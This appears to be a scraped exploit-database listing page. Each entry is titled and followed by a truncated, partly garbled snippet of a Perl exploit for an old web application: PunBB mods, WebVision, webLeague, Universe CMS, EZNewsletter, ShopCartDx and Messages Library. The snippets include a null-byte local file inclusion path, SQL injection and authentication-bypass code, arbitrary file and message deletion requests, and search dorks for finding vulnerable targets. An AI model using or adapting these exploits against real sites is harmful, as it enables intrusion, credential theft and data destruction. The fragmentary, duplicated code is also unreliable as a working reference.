PunBB Reputation.php Mod 2.0.4 - Local File Inclusion

!/usr/bin/perl 0-Day PunBB Reputation.php Mod 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; sub LocalFileInclusion my $Directory,$Command = @; return "./include/reputation/repprofile.php?punuserlanguage=$Directory$Command%00"; my $Get =...

PunBB Automatic Image Upload <= 1.3.5 Delete Arbitrary File Exploit

No description provided by source. !/usr/bin/perl 0-Day PunBB Automatic Image Upload = v1.3.5 Delete Arbitrary File Vulnerability Coded By Dante90, WaRWolFz Crew Bug Discovered By: Dante90, WaRWolFz Crew Works only if '$AllowDelete = "USERGROUP";' is not commented in "uploadimgconfig.php" FIND...

PunBB Reputation.php Mod <= 2.0.4 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================= PunBB Reputation.php Mod newPOST = $Host; my $Cookies = new HTTP::Cookies; my $HTTP = new LWP::UserAgent agent = 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!;...

PunBB Automatic Image Upload 1.3.5 Delete File

!/usr/bin/perl 0-Day PunBB Automatic Image Upload $AllowDelete = "Members"; use LWP::UserAgent; use HTTP::Cookies; my $UserName,$PassWord,$DirectoryFile,$DeleteFile = @ARGV; if@ARGV 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; sub Login my $Login =...

PunBB Automatic Image Upload <= 1.3.5 Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================== PunBB Automatic Image Upload $AllowStats = "Members"; use LWP::UserAgent; use HTTP::Cookies; use strict; my $UserName,$PassWord,$ID = @ARGV; if@ARGV 'Mozilla/5.0',...

PunBB Automatic Image Upload 1.3.5 - Arbitrary File Delete

!/usr/bin/perl 0-Day PunBB Automatic Image Upload $AllowDelete = "Members"; use LWP::UserAgent; use HTTP::Cookies; my $UserName,$PassWord,$DirectoryFile,$DeleteFile = @ARGV; if@ARGV 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; sub Login my $Login =...

URA 3.0 - 'cat' SQL Injection

--------------------------------------------------- URA 3.0 cat remote SQL injection Vulnerability --------------------------------------------------- + Author : Chip D3 Bi0s + Email : chipdebiosalt+64gmail.com + Group : LatinHackTeam + Vulnerability : SQL injection ---------info...

WebVision 2.1 (news.php n) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w WebVision 2.1 n Remote SQL Injection Exploit Demo : http://www.webdev4all.nl/demowebsite/ Dork : Webdevelopment Tinx-IT Dork2: Copyright © 2006-2008 Tinx-IT and open your mind admin panel : www.target.com/path/cms Found by : Mr.tro0oqy Yemeni...

WebVision 2.1 (news.php n) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================= WebVision 2.1 news.php n Remote SQL Injection Exploit ======================================================= !/usr/bin/perl -w WebVision 2.1 n Remote SQL Injection Exploit Demo :...

WebVision 2.1 SQL Injection

!/usr/bin/perl -w WebVision 2.1 n Remote SQL Injection Exploit Demo : http://www.webdev4all.nl/demowebsite/ Dork : Webdevelopment Tinx-IT Dork2: Copyright © 2006-2008 Tinx-IT and open your mind admin panel : www.target.com/path/cms Found by : Mr.tro0oqy E-mail : [email protected] special thank...

WebVision 2.1 - 'news.php?n' SQL Injection

!/usr/bin/perl -w WebVision 2.1 n Remote SQL Injection Exploit Demo : http://www.webdev4all.nl/demowebsite/ Dork : Webdevelopment Tinx-IT Dork2: Copyright © 2006-2008 Tinx-IT and open your mind admin panel : www.target.com/path/cms Found by : Mr.tro0oqy E-mail : [email protected] special thank...

webLeague 2.2.0 (Auth Bypass) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================================== webLeague 2.2.0 Auth Bypass Remote SQL Injection Exploit ========================================================== !/usr/bin/perl -W WebLeague 2.2.0 Remote Admin Bypass p0c writte...

webLeague 2.2.0 - Authentication Bypass

webLeague 2.2.0 - Authentication Bypass !/usr/bin/perl -W WebLeague 2.2.0 Remote Admin Bypass p0c written by ka0x need magicquotesgpc = Off Vuln code Admin/index.php : 10: $sql="SELECT FROM $admintable WHERE name = '$POSTusername' AND password = '$POSTpassword'"; // --- NOT CLEAN $POST VARS 11:...

webLeague 2.2.0 (Auth Bypass) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -W WebLeague 2.2.0 Remote Admin Bypass p0c written by ka0x ka0x01atgmail.com need magicquotesgpc = Off Vuln code Admin/index.php : 10: $sql="SELECT FROM $admintable WHERE name = '$POSTusername' AND password = '$POSTpassword'"; // --- NOT CLEAN $PO...

Universe CMS 1.0.6 (vnews.php id) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== Universe CMS 1.0.6 vnews.php id Remote SQL Injection Exploit ============================================================== !/usr/bin/perl -w Universe CMS 1.0.6 id Remote SQL...

Universe CMS 1.0.6 - 'vnews.php?id' SQL Injection

!/usr/bin/perl -w Universe CMS 1.0.6 id Remote SQL Injection Exploit Demo : http://www.universe.uni.org.pl Download : http://www.universe.uni.org.pl/upload/universecms106.rar Found by : Mr.tro0oqy E-mail : [email protected] special thank for my teacher "Stack" system"color e"; print...

EZNewsletter 3 Database Disclosure

!/usr/bin/perl Application Name : EZNewsletter V3 Vulnerable Type : Arbitrary Database Disclosure Vulnerability Infection : Admins Database Download Script Downlaod : http://www.htmljunction.com/eznewsletterv3.zip author : Septemb0x Greetz BHDR, BARCOD3 use lwp::UserAgent; system'cls'; system'tit...

ShopCartDx 4.30 SQL Injection

!/usr/bin/perl 0-Day ShopCartDx 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; my $Get = $UserAgent-get$HostName.SQLInjection$MemberID; if$Get-content = /0-91,5 : a-zA-Z0-9-.2,15 : a-zA-Z0-91,15/i refresh$HostName, $1, $2, $3; print " Exploit Successed \n"; print "...

Messages Library 2.0 - Arbitrary Delete Message

Messages Library 2.0 - Arbitrary Delete Message !/usr/bin/perl -w Messages Library 2.0 ; $b = LWP::UserAgent-new or die "Could not initialize browser\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; $host = $ARGV0 . "/admin/sms.php?Action=Delete&ID=".$id.""; $res =...

Messages Library 2.0 Message Deletion

!/usr/bin/perl -w Messages Library 2.0 ; $b = LWP::UserAgent-new or die "Could not initialize browser\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; $host = $ARGV0 . "/admin/sms.php?Action=Delete&ID=".$id.""; $res = $b-requestHTTP::Request-newPOST=$host; print "\nBrought to you b...